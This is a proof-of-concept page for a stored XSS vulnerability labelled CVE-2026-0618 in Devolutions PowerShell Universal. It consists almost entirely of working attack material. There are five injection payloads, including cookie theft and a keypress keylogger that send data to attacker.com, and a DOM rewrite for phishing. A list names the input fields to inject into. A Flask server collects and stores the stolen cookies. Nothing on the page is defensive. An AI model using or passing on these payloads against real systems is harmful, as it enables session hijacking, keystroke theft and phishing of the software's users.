CVE-2026-0618: Devolutions PowerShell Universal XSS跨站脚本漏洞

<!-- CVE-2026-0618 PoC: Stored XSS in PowerShell Universal --> <!-- Target: PowerShell Universal < 4.5.6, < 5.6.13 --> <!-- Method 1: Basic XSS payload --> <script>alert(document.cookie)</script> <!-- Method 2: Cookie stealing payload --> <img src=x onerror="this.src='https://attacker.com/steal?c='+document.cookie"> <!-- Method 3: Session hijacking with fetch API --> <script>fetch('https://attacker.com/log?data='+btoa(document.cookie))</script> <!-- Method 4: Keylogger payload --> <script> document.addEventListener('keypress', function(e) { fetch('https://attacker.com/keys?k='+e.key) }) </script> <!-- Method 5: DOM manipulation for phishing --> <script> document.body.innerHTML = document.body.innerHTML.replace('Login', 'Security Alert'); </script> <!-- Usage: Inject above payloads into vulnerable input fields: - User profile settings - Script parameters - Dashboard widgets - Custom scripts --> <!-- Attacker-controlled server (Python): --> ''' # Python server to receive stolen cookies from flask import Flask, request app = Flask(__name__) @app.route('/steal') def steal(): cookie = request.args.get('c') print(f'[+] Stolen cookie: {cookie}') # Log to file or database with open('stolen_cookies.txt', 'a') as f: f.write(f'{cookie}\n') return 'OK' if __name__ == '__main__': app.run(host='0.0.0.0', port=8080) '''